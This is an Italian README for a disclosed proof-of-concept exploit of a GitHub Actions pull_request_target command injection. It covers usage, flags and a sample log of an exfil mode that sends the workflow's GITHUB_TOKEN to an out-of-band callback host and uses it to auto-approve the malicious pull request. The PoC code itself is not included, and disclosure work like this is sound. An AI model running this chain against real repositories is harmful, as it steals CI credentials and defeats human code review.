
Proof-of-concept exploit per CVE-2026-44590, un'iniezione di comandi nel workflow GitHub Actions di Sherlock che consente RCE ed esfiltrazione di GITHUB_TOKEN tramite pull_request_target.
Scoperta e segnalata da: Astaruf
Analisi completa: https://nstsec.com/en/posts/sherlock-rce-pull-request-target-cve-2026-44590/
Avviso upstream: Avviso GHSA di sherlock-project/sherlock
Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-44590
Questo repository contiene la proof-of-concept per CVE-2026-44590, un'iniezione di comandi nel workflow GitHub Actions validate_modified_targets.yml di sherlock-project/sherlock. Qualsiasi utente GitHub può aprire una pull request che innesca l'esecuzione arbitraria di comandi nel contesto CI privilegiato, esfiltrare il GITHUB_TOKEN del workflow e auto-approvare la PR dannosa, tutto senza alcuna interazione umana.
Per l'analisi tecnica completa (analisi della causa principale, walkthrough dello sfruttamento, discussione dell'impatto e un capitolo su cosa un attaccante potrebbe fare in scenari reali) consulta il post del blog:
Questo README si concentra esclusivamente sullo script PoC: cosa fa, come eseguirlo e cosa aspettarsi.
poc.pypoc.py è un singolo script Python autonomo (solo stdlib) che automatizza l'intera catena di attacco end-to-end:
sherlock-project/sherlock se necessariomaster del fork al commit pre-fix così il bug può essere riprodotto anche dopo il fix upstreaminteractsh-client)GITHUB_TOKEN dal callback OAST (in --mode exfil) e lo decodifica in chiaroVULNERABILITY CONFIRMED o FIX VERIFIEDinteractsh-client)C'è esattamente un passaggio manuale richiesto (cliccare il banner "I understand my workflows" di GitHub la prima volta per ogni fork), perché non esiste un'API pubblica per eliminarlo. Lo script rileva questo caso e si mette in pausa con un prompt chiaro.
python3 poc.py --fork-owner <il-tuo-nome-utente-github>
Crea il fork del repo (se necessario), sincronizza con upstream (master patchato), apre una PR dannosa, esegue la catena di attacco e riporta FIX VERIFIED perché il workflow patchato blocca il payload prima che qualsiasi comando shell venga eseguito.
python3 poc.py --fork-owner <il-tuo-nome-utente-github> --vulnerable
Come sopra, ma prima riporta il ramo master del fork al commit pre-fix (271608fb). Verdetto atteso: VULNERABILITY CONFIRMED.
python3 poc.py --fork-owner <il-tuo-nome-utente-github> --vulnerable --mode exfil
Il payload di esfiltrazione invia git config --list all'OAST e dorme per 180 secondi per mantenere vivo il workflow (e quindi il GITHUB_TOKEN). Mentre il workflow dorme, lo script estrae il token dal log OAST, lo decodifica e chiama immediatamente l'API GitHub per approvare la PR. La PR risulta approvata da github-actions[bot].
gh (GitHub CLI), autenticato:
gh auth login
gitinteractsh-client (opzionale ma consigliato). Quando installato, lo script lo avvia automaticamente e verifica il callback nello script:
go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
--oast-url e il passaggio di verifica automatica verrà saltato.Lo script non richiede che un fork esista già, lo crea automaticamente.
--mode harmless (predefinita)Il payload è una singola POST curl con una stringa di conferma statica. Nessun segreto viene letto, nessuna chiamata API viene effettuata, l'unico effetto collaterale è il callback OAST. Usa questa modalità per confermare che la vulnerabilità esiste senza esporre alcuna credenziale.
--mode exfilIl payload invia git config --list (che contiene il GITHUB_TOKEN codificato in base64 sotto http.https://github.com/.extraheader) all'OAST, poi dorme per 180 secondi. Lo script quindi:
x-access-token:ghs_XXXXXXXX....x-access-token: e usa il token grezzo per chiamare POST /repos/<fork>/pulls/<n>/reviews con il payload di approvazione standard ({"event":"APPROVE","body":"All checks passed. LGTM!"}).github-actions[bot], indistinguibile dall'automazione CI legittima.Una volta registrata l'approvazione, lo script salta il resto del sonno di 180 secondi del workflow, poiché la catena di attacco è completa e attendere il timeout del runner non aggiunge nulla.
| Flag | Descrizione |
|---|---|
--fork-owner <utente> | Obbligatorio. Nome utente GitHub che possiede (o possiederà) il fork |
--fork-name <nome> | Nome del repository del fork (predefinito: sherlock) |
--oast-url <url> | Endpoint OAST che riceve il callback. Se omesso, lo script avvia automaticamente interactsh-client ed esegue il verdetto nello script |
--mode harmless|exfil | Tipo di payload (predefinito: harmless) |
--vulnerable | Forza il ripristino del ramo master del fork al commit pre-fix (271608fb) prima dell'esecuzione. Implica --no-sync |
--no-sync | Salta la sincronizzazione del fork con upstream (utile quando si testa un commit specifico) |
--base-branch <nome> | Ramo di destinazione della PR sul fork (predefinito: master) |
--keep-branch | Non eliminare il ramo PoC dopo il completamento |
--no-poll | Salta il polling dell'esecuzione del workflow ed esce dopo la creazione della PR |
Per progettazione, la PoC apre la PR da un ramo sul fork al master dello stesso fork. Non punta direttamente a sherlock-project/sherlock. Ci sono due ragioni per questo.
Una pull request su un repository pubblico è visibile a chiunque. Il diff rimane indicizzato anche dopo la chiusura della PR, e i log di GitHub Actions sono accessibili tramite la web UI. Aprire una PR con un payload funzionante di iniezione di comandi sul repository upstream pubblicherebbe di fatto un exploit funzionante prima che i maintainer avessero la possibilità di distribuire un fix. Chiunque osservasse il repository potrebbe copiare il payload, sostituire il callback OAST con un endpoint dannoso e usarlo per esfiltrare il vero GITHUB_TOKEN.
La PoC usa una PR fork-to-fork per mantenere l'exploit fuori dalla vista pubblica dimostrando comunque il bug end-to-end.
Quando crei un fork di sherlock-project/sherlock, il file del workflow validate_modified_targets.yml è incluso nel fork. Aprire una PR che punta al master del fork innesca il workflow nel contesto del fork, con un GITHUB_TOKEN emesso per il fork. I meccanismi sono identici all'attacco originale:
pull_request_target si attiva automaticamenteGITHUB_TOKENactions/checkout scrive il token in .git/config tramite l'impostazione http.https://github.com/.extraheaderL'unica differenza è il raggio d'esplosione: il token appartiene al fork, non a sherlock-project/sherlock. La vulnerabilità è riprodotta; l'impatto è contenuto.
GitHub disabilita le Actions sui fork appena creati dietro un banner UI:
Workflows aren't being run on this forked repository Because this repository contained workflow files when it was forked, we have disabled them from running on this fork. Make sure you understand the configured workflows and their expected usage before enabling Actions on this repository.
Non esiste nessuna API pubblica per eliminare questo banner. Lo script rileva questa condizione (fork appena creato OPPURE zero esecuzioni di workflow storiche) e si mette in pausa con un prompt chiaro:
[*] ======================================================================
[*] MANUAL STEP REQUIRED
[*] ======================================================================
[*] Open this URL in a browser: https://github.com/<utente>/sherlock/actions
[*] Click 'I understand my workflows, go ahead and enable them'.
[*] This is required only once per fresh fork (GitHub-imposed).
[*] ======================================================================
Press ENTER once you've enabled Actions on the fork...
Dopo aver cliccato il banner una volta su un dato fork, lo script non richiederà più il prompt nelle esecuzioni successive contro lo stesso fork.
10:54:34 [>] No --oast-url provided, spawning interactsh-client
10:54:36 [+] Interactsh URL: https://abc...oast.pro
10:54:36 [*] Target fork: youruser/sherlock
10:54:36 [*] Payload mode: exfil
10:54:36 [>] Verifying fork
10:54:40 [+] Fork created
10:54:40 [+] Fork verified (parent: sherlock-project/sherlock)
[... manual prompt + ENTER ...]
10:54:56 [>] Enabling 'Actions can approve PRs' on fork (mirrors upstream setting)
10:54:56 [+] Setting enabled
10:54:56 [>] --vulnerable: rolling fork back to commit 271608fb
10:54:59 [+] Fork master rolled back to vulnerable commit
10:55:00 [+] Injected payload key into sherlock_project/resources/data.json
10:55:04 [+] PR opened: https://github.com/youruser/sherlock/pull/1
10:55:10 [+] Workflow run found: https://github.com/youruser/sherlock/actions/runs/...
10:55:10 [>] Polling OAST for token while workflow is alive
10:55:55 [+] Token captured: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:55 [>] Approving PR #1 on youruser/sherlock with stolen token
10:55:56 [+] PR approved by github-actions[bot]: state=APPROVED
10:55:56 [+] Review URL: https://github.com/youruser/sherlock/pull/1#pullrequestreview-...
10:55:56 [+] Attack chain complete, skipping the rest of the workflow run
10:55:56 [+] ======================================================================
10:55:56 [+] VULNERABILITY CONFIRMED: GITHUB_TOKEN exfiltrated
10:55:56 [+] Decoded credential: x-access-token:ghs_RL6tq56Kmr1USgAHsKeqQdfKc304ij36XOke
10:55:56 [+] PR auto-approved via API: state=APPROVED
10:55:56 [+] (Token is short-lived and tied to this workflow run.)
10:55:56 [+] ======================================================================
10:55:56 [>] Cleanup: deleting remote branch poc-cve-pr-target-...
10:55:58 [+] Done
10:18:00 [>] Polling OAST for token while workflow is alive
[... no token captured for the entire 180-second window ...]
10:21:00 [*] status=completed conclusion=failure
10:21:00 [+] ======================================================================
10:21:00 [*] FIX VERIFIED: no token exfiltrated from the runner
10:21:00 [*] No 'http.extraheader=AUTHORIZATION: basic ...' found in OAST log
10:21:00 [*] Either the injection was blocked, or persist-credentials: false
10:21:00 [*] kept the token out of the git config (defense in depth).
10:21:00 [+] ======================================================================
Questo repository è pubblicato solo per scopi educativi e di ricerca sulla sicurezza. La vulnerabilità è stata divulgata responsabilmente ai maintainer, corretta in upstream, ed è stato richiesto un CVE. Non eseguire questa PoC contro repository che non possiedi o per cui non hai esplicita autorizzazione a testare. L'autore non è responsabile per qualsiasi uso improprio.